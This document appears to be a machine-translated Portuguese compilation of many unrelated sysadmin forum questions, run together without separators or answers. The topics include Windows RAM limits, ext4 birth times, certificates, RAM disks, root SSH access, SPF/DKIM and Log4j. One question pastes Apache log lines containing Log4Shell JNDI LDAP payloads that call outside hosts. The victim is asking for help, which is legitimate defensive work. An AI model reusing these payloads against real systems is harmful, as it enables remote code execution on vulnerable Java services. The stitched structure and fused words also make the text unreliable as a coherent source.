Um cliente tem o Windows Server 2016 Essentials. Ele instalou 128 GB de RAM em seu servidor. Mas o Windows relata que usa apenas 64 GB, mesmo que veja todos os 128 GB instalados
Por que? O que pode ser feito para usar toda a RAM disponível?
Eu tenho um grupo de volumes em meu sistema, criado com um único volume físico.
Estou criando dois volumes lógicos - um com tamanho de 100M e outro com tamanho de 512M.
Qualquer arquivo criado no LV com tamanho de 100M não exibe o atributo de horário de nascimento. LV com tamanho 512M não tem esse problema.
Alguma pista sobre por que isso acontece?
Volume físico e grupo de volumes:
# pvdisplay
--- Physical volume ---
PV Name /dev/sda4
VG Name VG_System
PV Size 400.00 GiB / not usable 4.00 MiB
Allocatable yes
PE Size 4.00 MiB
Total PE 102399
Free PE 38099
Allocated PE 64300
PV UUID Awnq0n-24v1-Z53P-MC09-3Fvv-dc0r-6QvAyX
# vgdisplay VG_System
--- Volume group ---
VG Name VG_System
System ID
Format lvm2
Metadata Areas 1
Metadata Sequence No 25
VG Access read/write
VG Status resizable
MAX LV 0
Cur LV 24
Open LV 22
Max PV 0
Cur PV 1
Act PV 1
VG Size <400.00 GiB
PE Size 4.00 MiB
Total PE 102399
Alloc PE / Size 64300 / 251.17 GiB
Free PE / Size 38099 / 148.82 GiB
VG UUID Zg53rH-kuCI-dWKa-Uo3H-Mr2i-G2As-Wflm0d
Primeiro VL:
# lvcreate --stripes 1 -n testing -L 100M VG_System
Logical volume "testing" created.
# mkfs.ext4 /dev/VG_System/testing
mke2fs 1.45.6 (20-Mar-2020)
Discarding device blocks: done
Creating filesystem with 102400 1k blocks and 25688 inodes
Filesystem UUID: ac9c1782-7770-4031-bad8-9b76f7577467
Superblock backups stored on blocks:
8193, 24577, 40961, 57345, 73729
Allocating group tables: done
Writing inode tables: done
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done
# blkid /dev/VG_System/testing
/dev/VG_System/testing: UUID="ac9c1782-7770-4031-bad8-9b76f7577467" BLOCK_SIZE="1024" TYPE="ext4"
# mount /dev/VG_System/testing /mnt/test
# mount | grep test
/dev/mapper/VG_System-testing on /mnt/test type ext4 (rw,relatime,stripe=4)
# touch /mnt/test/a
# stat /mnt/test/a
File: /mnt/test/a
Size: 0 Blocks: 0 IO Block: 1024 regular empty file
Device: 252,23 Inode: 12 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2023-04-13 22:13:43.000000000 +0530
Modify: 2023-04-13 22:13:43.000000000 +0530
Change: 2023-04-13 22:13:43.000000000 +0530
Birth: -
Aqui o Birthcampo está vazio.
Segundo VL:
# lvcreate -n testing2 -L 512M VG_System
Logical volume "testing2" created.
# mkfs.ext4 /dev/VG_System/testing2
mke2fs 1.45.6 (20-Mar-2020)
Discarding device blocks: done
Creating filesystem with 131072 4k blocks and 32768 inodes
Filesystem UUID: 0b5e24a9-cdf1-4749-9089-bf0cf1495185
Superblock backups stored on blocks:
32768, 98304
Allocating group tables: done
Writing inode tables: done
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done
# blkid /dev/VG_System/testing2
/dev/VG_System/testing2: UUID="0b5e24a9-cdf1-4749-9089-bf0cf1495185" BLOCK_SIZE="4096" TYPE="ext4"
# mount /dev/VG_System/testing2 /mnt/test2
# mount | grep test
/dev/mapper/VG_System-testing2 on /mnt/test2 type ext4 (rw,relatime)
# touch /mnt/test2/a
# stat /mnt/test2/a
File: /mnt/test2/a
Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: 252,24 Inode: 12 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2023-04-13 22:19:01.873047858 +0530
Modify: 2023-04-13 22:19:01.873047858 +0530
Change: 2023-04-13 22:19:01.873047858 +0530
Birth: 2023-04-13 22:19:01.873047858 +0530
Observe se é relevante, mas as opções de montagem do primeiro LV têm stripe=4, enquanto o segundo não tem isso. Fora isso, ambos os LVs são semelhantes.
# lvdisplay VG_System/testing
--- Logical volume ---
LV Path /dev/VG_System/testing
LV Name testing
VG Name VG_System
LV UUID n19sRr-SqHW-znjI-0fEW-MkQX-JRUn-MTmZHF
LV Write Access read/write
LV Creation host, time controller, 2023-04-13 22:12:45 +0530
LV Status available
# open 0
LV Size 100.00 MiB
Current LE 25
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 252:23
# lvdisplay VG_System/testing2
--- Logical volume ---
LV Path /dev/VG_System/testing2
LV Name testing2
VG Name VG_System
LV UUID 94oJKP-r2Ob-ReHr-sDSO-t3HY-isJB-ZtEPsq
LV Write Access read/write
LV Creation host, time controller, 2023-04-13 22:18:01 +0530
LV Status available
# open 1
LV Size 512.00 MiB
Current LE 128
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 252:24
Temos um certificado curinga emitido pela GoDaddy prestes a ser renovado e gostaria de usar uma empresa diferente (que ainda não foi escolhida). O certificado curinga está em uso em uma dúzia de sites em alguns servidores. Haverá um intervalo de algumas horas entre a emissão do certificado na nova autoridade e a instalação do certificado em todos esses sites e servidores. Durante esse intervalo, nossos usuários perceberão alguma coisa, por exemplo,
- Tipo de aviso "O site é inseguro"
- Falha total do site para funcionar (são sites Windows/IIS).
Estou me perguntando se, por exemplo, a nova autoridade emite algo para GoDaddy que faça GoDaddy revogar nosso certificado que eles têm em arquivo. Ou será que um navegador da Web encontrará o certificado instalado que não corresponde ao certificado recém-emitido e causará um problema?
A documentação do chrony adverte
ATENÇÃO: Certos softwares serão seriamente afetados por tais saltos no horário do sistema. (Essa é a razão pela qual o chronyd usa o giro normalmente.) Documentação
Mas a documentação não dá exemplos. Quais são os exemplos de software que serão seriamente afetados? O sistema operacional ou algum processo em segundo plano está em risco?
Temos um servidor com 64 GB de RAM total, os aplicativos estão usando normalmente no máximo 30 GB dessa RAM disponível. Um desses aplicativos lida com muitos arquivos simples e estamos tendo problemas de taxa de transferência, ou seja, aguardando a E/S do disco. Ao explorar possíveis soluções, surgiu a ideia de um disco RAM. O problema que tenho com um disco RAM é a volatilidade inerente.
Encontrei documentação separada sobre discos RAM, configuração RAID 1 e volumes espelhados lógicos para agrupar discos físicos , mas não consigo encontrar nenhuma documentação que sugira se qualquer uma dessas soluções de replicação de disco pode ser usada com um disco RAM. Mais importante, já que a ideia é ter o disco RAM disponível para leitura/gravação e ter o disco físico "sombreando" o disco RAM, alcançando as gravações, gostaríamos que o disco RAM fosse o disco "primário" para todos lê/escreve.
Para observar, gostaríamos de evitar apenas o cache de arquivos da RAM com o sistema operacional, mas se pudermos obter o mesmo desempenho de um disco RAM autônomo, isso pode funcionar. Inicialmente, evitamos isso, pois muitas vezes determinados arquivos não são acessados por longos períodos de tempo, mas ainda precisam da velocidade de leitura/gravação sob demanda.
Estou tentando entender os argumentos técnicos/implicações de segurança entre ssh'ing com root diretamente ou criar um usuário sudo auxiliar no contexto de manutenção de um servidor. Para esclarecer, estamos falando de servidores pertencentes a um único administrador. Para várias pessoas trabalhando na máquina, é óbvio que há o benefício da trilha de auditoria de ter usuários exclusivos para cada pessoa real e permissões refinadas.
Meu pensamento é, se esta é uma estação de desktop, faz sentido e é recomendado usar um usuário não root para coisas diárias, mas em um servidor, você geralmente faz login para mantê-lo e 99% das vezes todas as suas atividades exigem root permissões.
Portanto, há algum benefício de segurança na criação de um usuário "proxy" que você usará sudo para fazer o root de qualquer maneira, em vez de fornecer diretamente acesso ssh ao root?
O único benefício em que posso pensar é a segurança através da obscuridade, ou seja, os bots normalmente tentam sondar o usuário "root". Mas pelo que vejo, se um usuário de sudoers for comprometido, é o mesmo que comprometer o usuário root, então o jogo acabou.
Além disso, a maioria das estruturas de administração remota, sistemas NAS, hipervisores, incentivam o uso de um usuário root para login na web.
O servidor web apache (apache2) usa log4j?
Eu tenho o Apache2 2.4.38 (debian) instalado no Raspberry Pi OS (64 bits) e encontrei alguns registros estranhos no meu log sobre CVE-2021-44228 de ( kryptoslogic-cve-2021-44228.comhoneypot/scanner), dataastatistics.com(offline & malicioso?) a8fvkc.dnslog.cnisto é)
O que eu deveria fazer agora?
- nada porque o apache2 não é afetado pelo CVE-2021-44228
- formate tudo e espere alguns dias antes de instalar uma versão corrigida
- "verifique" se existem novos arquivos .class e se não houver continue a operação (e use patches manuais como
log4j2.formatMsgNoLookups = TRUE - algo mais
Histórico:
139.59.99.80 - - [12/Dec/2021:00:34:47 +0100] "GET / HTTP/1.1" 301 512 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
139.59.99.80 - - [12/Dec/2021:00:34:48 +0100] "GET / HTTP/1.1" 200 5932 "http://79.232.126.49/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
139.59.99.80 - - [12/Dec/2021:01:51:38 +0100] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 301 654 "-" "Kryptos Logic Telltale"
139.59.99.80 - - [12/Dec/2021:01:51:39 +0100] "GET /$%7bjndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path%7d HTTP/1.1" 404 8456 "http://79.232.126.49/$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D" "Kryptos Logic Telltale"
139.59.99.80 - - [12/Dec/2021:01:51:39 +0100] "GET /$%7bjndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path%7d HTTP/1.1" 404 8456 "http://79.232.126.49/$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D" "Kryptos Logic Telltale"
139.59.99.80 - - [11/Dec/2021:18:35:25 +0100] "GET / HTTP/1.1" 200 5932 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
139.59.99.80 - - [11/Dec/2021:20:13:11 +0100] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 8456 "-" "Kryptos Logic Telltale"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:34 +0100] "POST /api/v2 HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:34 +0100] "POST /api/v2 HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
137.184.106.119 - - [10/Dec/2021:20:38:18 +0100] "GET / HTTP/1.1" 301 568 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
137.184.106.119 - - [10/Dec/2021:20:38:20 +0100] "GET / HTTP/1.1" 200 6576 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
137.184.106.119 - - [10/Dec/2021:20:38:21 +0100] "GET /favicon.ico HTTP/1.1" 200 7103 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
Eu li sobre vulnerabilidades de segurança relacionadas ao Log4j.
Como verifico se o Log4j está instalado no meu servidor? Meus servidores específicos usam Ubuntu 18.04.6 LTS.
Eu instalei muitos pacotes de terceiros e talvez alguns deles o contenham.
Existe um comando a ser executado no meu servidor para verificar se o Log4j está instalado?
Preciso de uma GPU em um servidor somente de texto e console? Sem GPU como sem iGPU e dGPU. Eu vou estar usando SSH, então eu não preciso de uma saída de exibição.
Estou usando Linux, mas o sistema operacional não deve afetar os resultados
Estamos trabalhando em uma solução de software e alguns de nossos provedores são realmente centrados no CentOS 7.
O CentoS 7 continuará a produzir durante o restante do ciclo de vida do RHEL 7, que terminará em algum momento de 2024.
O CentOS 8 receberá atualizações até dezembro de 2021.
O CentOS Stream foi anunciado pela Red Hat, mas aparentemente não é um substituto para o CentOS.
Não sou muito de mergulhar nisso se as opções forem incertas no futuro próximo com o CentOS.
Pergunta: quais são as opções para usuários do CentOS 7 quando o RHEL 7 chega ao fim de sua vida útil e os usuários precisam de um servidor pronto para produção?
Se eu tentar acessar nosso servidor HTTPS que possui certificado emitido por certbot do debian 9, recebo o seguinte erro:
# curl -v https://hu.dbpedia.org/
* Trying 195.111.2.82...
* TCP_NODELAY set
* Connected to hu.dbpedia.org (195.111.2.82) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH
* successfully set certificate verify locations:
* CAfile: /etc/ssl/certs/ca-certificates.crt
CApath: /etc/ssl/certs
* TLSv1.2 (OUT), TLS header, Certificate Status (22):
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (OUT), TLS alert, Server hello (2):
* SSL certificate problem: certificate has expired
* Curl_http_done: called premature == 1
* stopped the pause stream!
* Closing connection 0
curl: (60) SSL certificate problem: certificate has expired
No entanto, se eu tentar o mesmo comando do debian 10, ele será bem-sucedido.
Eu tentei simplesmente copiar todos os certificados ca de uma VM debian 10 para a VM debian 9 (para /usr/local/share/ca-certificates) com rsync e, em seguida, executei o update-ca-certificatesque aparentemente adicionou mais de 400 certificados. Infelizmente, não ajudou. Isso não é de admirar, pois parece que existem os mesmos certificados no debian 9 e 10, aparentemente.
Minha pergunta é : Como posso acessar sites com certificados certbot de máquinas debian 9 sem ignorar completamente a verificação de certificados
EDIÇÃO FINAL: Eu estava completamente errado sobre o DKIM, parece que o domínio de assinatura não precisa ser o mesmo que o domínio do remetente, portanto, toda a premissa da minha pergunta é falha. Muito obrigado a Paul por apontar meu erro!
Pergunta original abaixo:
Tentei ler sobre SPF e DKIM, mas não entendo o objetivo de usar os dois ao mesmo tempo, pelo menos no contexto de combate ao spam (endereços de remetente forjados, que podem resultar em meu servidor/domínio de e-mail na lista negra ). Tanto quanto eu posso entender, o DKIM sozinho deve fazer o trabalho que o SPF deveria fazer.
Meu entendimento até agora é o seguinte:
- Ao enviar um e-mail, o remetente pode reivindicar o que quiser (por exemplo, endereço de remetente falso)
- O DKIM permite detectar um endereço de e-mail de remetente falso, pois você pode verificar a assinatura DKIM em relação à chave pública no registro TXT do DNS.
- O SPF permite verificar se o email foi enviado de um servidor de email autorizado a enviar emails para um determinado endereço de remetente.
O que eu não entendo é o seguinte: a menos que a chave privada DKIM tenha sido comprometida de alguma forma, a verificação DKIM por si só deve ser suficiente para verificar se o email foi enviado de um servidor de email autorizado, porque, caso contrário, o servidor de email não teria a chave privada para assinar o e-mail.
Eu vi a resposta para uma pergunta muito semelhante aqui: https://serverfault.com/a/780248/154775 , nele o autor afirma que o DKIM não pode impedir ataques de repetição. Eu vou admitir esse ponto, mas acho que é um caso de canto, o maior problema na minha opinião é o spam com endereços de remetentes falsos - o DKIM deve evitar isso facilmente por conta própria.
Existe um cenário além dos ataques de repetição em que o SPF fornece proteção adicional em comparação com apenas o DKIM?
EDIT: Eu marquei o núcleo da minha pergunta em negrito para esclarecer o que exatamente eu quero uma resposta.
Estou ajudando a administrar um site que foi bloqueado por motivos políticos pela mesma agência russa que já tentou bloquear o Telegram (RosKomNadzor). Esta não é a primeira vez que isso acontece, e anteriormente apenas mudaríamos o domínio, mas isso tem suas próprias implicações e perda de leitores.
Eles estão bloqueando apenas o nome de domínio, não o IP (estamos usando Cloudflare de qualquer maneira). Estamos usando HTTPS, mas os ISPs ainda conseguem, de alguma forma, obter as informações de DNS sobre uma solicitação vinda de seus clientes. Tecnicamente, podemos sugerir aos nossos leitores que configurem seu /etc/hosts, mas essa não é uma opção viável.
Existe algo que possa ser feito do lado do nosso servidor para criptografar/ofuscar as informações de DNS sem que os usuários façam alterações/instalem software? Ou esperar que o DNS sobre HTTPS se torne a nossa única opção?
Da Rússia com amor.
Existem muitos vídeos e descrições sobre como usar uma ferramenta de crimpagem RJ45. Já vi alguns e até testei uma ferramenta de crimpagem, mas ainda não entendo como ela faz o que faz.
O que exatamente acontece com os oito fios dentro da ferramenta de crimpagem e por que não é necessário remover o isolamento dos oito fios antes de colocar o cabo na ferramenta de crimpagem?
Estou usando o Ubuntu 20.04 com o Xen Hypervisor. Na minha máquina, tenho um SSD que hospeda minhas imagens de VM e, em seguida, quatro unidades sata nas quais tenho dados. Minha configuração atual é montar os dados no meu domínio0 e, em seguida, fornecer esses dados para as outras VMs no servidor de arquivos de rede.
Isso parece ineficiente, pois todas as VMs teriam que passar pela minha NIC para acessar os dados. Estou correto nessa suposição de que este é um grande gargalo?
Qual é o padrão do setor para fornecer dados que estão na mesma máquina física? Algum conselho ou melhorias para esta configuração?
Existe algum dano em montar o LVM de dados em cada uma das VMs? Minha preocupação com essa abordagem é o que ocorreria se duas VMs tentassem acessar o mesmo ponto de dados simultaneamente? Esta configuração é vulnerável à corrupção de dados?
